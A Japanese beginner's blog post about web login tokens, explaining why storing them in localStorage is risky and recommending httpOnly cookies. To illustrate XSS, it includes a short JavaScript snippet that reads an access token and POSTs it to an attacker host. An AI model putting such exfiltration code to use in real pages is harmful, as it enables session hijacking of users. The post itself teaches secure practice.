🛠️ まずは動かす！でもそのあとに考えるべき「セキュリティ」の話

Webアプリを開発していると、まず「ログイン機能をつけたい」と思いますよね。
最初はとにかく「動くこと」が大事です。僕もそうでした。

• ログインしたらダッシュボードに遷移する

• もう一度開いたらログイン状態が残っている

• 「ログイン状態を保持する」にチェックをつけたら記憶される

まずはここまでできれば「おお、動いたぞ！」とテンションが上がります。

でも、それだけで終わってはいけません。
今回は「トークンの保存場所」について、セキュリティの観点からあとでちゃんと考えようという話です。

🔰 初期実装でよくある保存方法：localStorage や sessionStorage

まず手軽に動かす方法としてよく使われるのがこれです：

localStorage.setItem("accessToken", token);

ログイン後にトークンを取得して localStorage に保存し、次回アクセス時に localStorage.getItem() で読み出せば、「ログイン状態を保持しているように見える」 という実装になります。

これ、とても手軽で動きます。

💣 でも実はこれ、セキュリティ的にかなり危ない！

localStorage や sessionStorage は、JavaScript から簡単に読み書きできます。
ということは、**悪意のあるスクリプト（XSS攻撃）**が入り込んだとき、以下のようなことが可能になります。

const stolenToken = localStorage.getItem("accessToken");
fetch("https://attacker.com/steal", {
  method: "POST",
  body: JSON.stringify({ token: stolenToken }),
});

これは本当に危険です。

🔐 そこで登場するのが「httpOnly Cookie」

httpOnly フラグをつけた Cookie にトークンを保存すると、JavaScript からアクセスできません。
つまり、XSS攻撃の被害を大きく減らすことができます。

res.cookies.set("access-token", token, {
  httpOnly: true,
  secure: true,
  sameSite: "lax",
  path: "/",
  maxAge: 60 * 60 * 24 * 30, // 30日
});

このように設定すれば、トークンは サーバーに自動で送信され、クライアント側では触れない状態になります。

✅ 結論：まずは動く → 次に守る

初心者が陥りがちな落とし穴は、「動いたからOK！」で終わることです。

でも、Webアプリが少しずつ使えるようになってくると、
「悪意あるアクセス」や「なりすまし」から守る必要が出てきます。

だからこそ、

1. まずは localStorage などを使って「動くログイン機能」を作る

2. 次にセキュリティについて調べて、Cookieベースに移行する

という流れで開発していくのが、自然で、そして正しい順序だと感じています。

📝 おまけ：覚えておくべきポイントまとめ

💡 最後に

セキュリティを完璧に理解してから実装する必要はありません。
最初は「ログインできた！状態が保持できた！」というところで満足していました。でも実際に自分でオリジナルアプリを作り進めていく中で、**「もし他人のブラウザで自動ログインされたら？」「悪意あるコードが入り込んだら？」**と、リアルな危機感が芽生えてきました。

自分のアプリにユーザーが増えたり、機能が増えていくと、「正しく動くこと」だけでは足りないと気づきます。

動くものができたからこそ、次に「どう守るか」を真剣に考えられるようになった――これはオリジナルアプリを作ってみたからこその気づきでした。